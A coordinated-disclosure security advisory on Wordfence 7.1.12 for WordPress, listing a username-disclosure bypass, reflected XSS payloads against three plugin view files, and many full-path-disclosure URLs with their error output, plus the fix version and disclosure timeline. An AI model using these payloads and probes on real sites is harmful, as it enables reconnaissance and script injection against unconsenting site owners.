WordPress Wordfence 7.1.12 XSS / Username Disclosure

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[waraxe-2018-SA#109] - Multiple vulnerabilities in Wordfence Wordpress plugin  
================================================================================  
  
Author: Janek Vind "waraxe"  
Date: 02. October 2018  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/advisory-109.html  
  
Target description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Wordfence includes an endpoint firewall and malware scanner that were built from  
the ground up to protect WordPress. Our Threat Defense Feed arms Wordfence with  
the newest firewall rules, malware signatures and malicious IP addresses it needs  
to keep your website safe. Rounded out by a suite of additional features, Wordfence  
is the most comprehensive WordPress security solution available.  
  
https://wordpress.org/plugins/wordfence/  
https://www.wordfence.com/  
  
Vulnerable version: 7.1.12  
Fixed version: 7.1.14  
Active installations: 2+ million  
  
###############################################################################  
1. Wordpress username disclosure protection partial bypass  
###############################################################################  
  
Preconditions:  
* works only for user who is author of the last post  
  
Testing:  
  
Let's try well know Wordpress username disclosure method with activated Wordfence:  
  
http://localhost/wp498/?author=1  
  
Result: "Oops! That page canat be found."  
  
Now let's try modified query:  
  
http://localhost/wp498/?author[]=  
  
Result: "Author: root"  
  
This method can disclose only one username - from author of the last post  
  
###############################################################################  
2. Reflected XSS in "403.php"  
###############################################################################  
  
Reasons:  
* directly accessible PHP file  
* uninitialized variable "customText"  
Preconditions:  
* PHP version < 5.4  
* register_globals = On (default is "Off")  
  
Testing:  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403.php?customText=<script>alert('XSS')</script>  
  
###############################################################################  
3. Reflected XSS in "503.php"  
###############################################################################  
  
Reasons:  
* directly accessible PHP file  
* uninitialized variables "reason" and "customText"  
Preconditions:  
* PHP version < 5.4  
* register_globals = On (default is "Off")  
  
Testing:  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php?reason=<script>alert('XSS')</script>  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php?customText=<script>alert('XSS')</script>  
  
###############################################################################  
4. Reflected XSS in "503-lockout.php"  
###############################################################################  
  
Reasons:  
* directly accessible PHP file  
* uninitialized variables "customText" and "homeURL"  
Preconditions:  
* PHP version < 5.4  
* register_globals = On (default is "Off")  
  
Testing:  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php?customText=<script>alert('XSS')</script>  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php?homeURL="><script>alert('XSS')</script>  
  
###############################################################################  
5. Full path disclosure in multiple PHP files  
###############################################################################  
  
Reasons:  
* directly accessible PHP files  
Preconditions:  
* display_errors = On (default is "On")  
  
Testing:  
  
http://localhost/wp498/wp-content/plugins/wordfence/wordfence.php  
  
Warning: Invalid argument supplied for foreach() in  
C:\apache_www\wp498\wp-content\plugins\wordfence\wordfence.php on line 20  
Fatal error: Call to undefined function trailingslashit() in  
C:\apache_www\wp498\wp-content\plugins\wordfence\wordfence.php on line 31  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503.php  
  
Fatal error: Call to a member function createNonce() on null in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\503.php on line 235  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/503-lockout.php  
  
Fatal error: Call to a member function createNonce() on null in   
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\503-lockout.php on line 240  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403.php  
  
Fatal error: Class 'wfWAFUtils' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\403.php on line 234  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403-roadblock.php  
  
Fatal error: Class 'wfWAFUtils' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\403-roadblock.php on line 13  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/views/403-blacklist.php  
  
Fatal error: Call to a member function getRequest() on null in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\views\403-blacklist.php on line 13  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/storage/file.php  
  
Fatal error: Interface 'wfWAFStorageInterface' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\storage\file.php on line 3  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/rules.php  
  
Fatal error: Class 'wfWAFException' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\rules.php on line 15  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/sqli.php  
  
Fatal error: Class 'wfWAFBaseParser' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\parser\sqli.php on line 3  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/parser.php  
  
Fatal error: Class 'wfWAFException' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\parser\lexer.php on line 243  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/parser/lexer.php  
  
Fatal error: Class 'wfWAFException' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\parser\lexer.php on line 243  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/http.php  
  
Fatal error: Class 'wfWAFException' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\lib\http.php on line 439  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/bootstrap-sample.php  
  
Warning: file_get_contents(C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src/baseRules.rules):  
failed to open stream: No such file or directory in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\wordfence\wf-waf\src\bootstrap-sample.php on line 40  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/WebService/Http/CurlRequest.php  
  
Fatal error: Interface 'MaxMind\WebService\Http\Request' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\WebService\Http\CurlRequest.php on line 13  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/PermissionRequiredException.php  
  
Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\PermissionRequiredException.php on line 9  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/IpAddressNotFoundException.php  
  
Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\IpAddressNotFoundException.php on line 6  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/InvalidRequestException.php  
  
Fatal error: Class 'MaxMind\Exception\HttpException' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\InvalidRequestException.php on line 9  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/InvalidInputException.php  
  
Fatal error: Class 'MaxMind\Exception\WebServiceException' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\InvalidInputException.php on line 11  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/InsufficientFundsException.php  
  
Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\InsufficientFundsException.php on line 9  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/HttpException.php  
  
Fatal error: Class 'MaxMind\Exception\WebServiceException' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\HttpException.php on line 9  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/maxmind/web-service-common/src/Exception/AuthenticationException.php  
  
Fatal error: Class 'MaxMind\Exception\InvalidRequestException' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\maxmind\web-service-common\src\Exception\AuthenticationException.php on line 9  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/WebService/Client.php  
  
Fatal error: Interface 'GeoIp2\ProviderInterface' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\WebService\Client.php on line 45  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Traits.php  
  
Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Traits.php on line 92  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Subdivision.php  
  
Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Subdivision.php on line 30  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/RepresentedCountry.php  
  
Fatal error: Class 'GeoIp2\Record\Country' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\RepresentedCountry.php on line 30  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Postal.php  
  
Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Postal.php on line 21  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/MaxMind.php  
  
Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\MaxMind.php on line 14  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Location.php  
  
Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Location.php on line 37  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Country.php  
  
Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Country.php on line 30  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/Continent.php  
  
Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\Continent.php on line 23  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/City.php  
  
Fatal error: Class 'GeoIp2\Record\AbstractPlaceRecord' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\City.php on line 24  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Record/AbstractPlaceRecord.php  
  
Fatal error: Class 'GeoIp2\Record\AbstractRecord' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Record\AbstractPlaceRecord.php on line 6  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Isp.php  
  
Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Isp.php on line 21  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Insights.php  
  
Fatal error: Class 'GeoIp2\Model\City' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Insights.php on line 46  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Enterprise.php  
  
Fatal error: Class 'GeoIp2\Model\City' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Enterprise.php on line 46  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Domain.php  
  
Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Domain.php on line 15  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Country.php  
  
Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Country.php on line 31  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/ConnectionType.php  
  
Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\ConnectionType.php on line 15  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/City.php  
  
Fatal error: Class 'GeoIp2\Model\Country' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\City.php on line 48  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/Asn.php  
  
Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\Asn.php on line 17  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Model/AnonymousIp.php  
  
Fatal error: Class 'GeoIp2\Model\AbstractModel' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Model\AnonymousIp.php on line 22  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/OutOfQueriesException.php  
  
Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\OutOfQueriesException.php on line 9  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/InvalidRequestException.php  
  
Fatal error: Class 'GeoIp2\Exception\HttpException' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\InvalidRequestException.php on line 10  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/HttpException.php  
  
Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\HttpException.php on line 9  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/AuthenticationException.php  
  
Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\AuthenticationException.php on line 9  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Exception/AddressNotFoundException.php  
  
Fatal error: Class 'GeoIp2\Exception\GeoIp2Exception' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Exception\AddressNotFoundException.php on line 9  
  
http://localhost/wp498/wp-content/plugins/wordfence/vendor/geoip2/geoip2/src/Database/Reader.php  
  
Fatal error: Interface 'GeoIp2\ProviderInterface' not found in  
C:\apache_www\wp498\wp-content\plugins\wordfence\vendor\geoip2\geoip2\src\Database\Reader.php on line 35  
  
Solution:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Found issues have been addressed in Wordfence 7.1.14 release.  
  
Disclosure timeline:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
13.09.2018 -> First email to vendor  
13.09.2018 -> First response email from vendor  
13.09.2018 -> Sending detailed information to vendor  
01.10.2018 -> Found problems are fixed  
02.10.2018 -> Current advisory released  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
[email protected]  
Janek Vind "waraxe"  
  
Waraxe forum: http://www.waraxe.us/  
Personal homepage: http://www.janekvind.com/  
  
  
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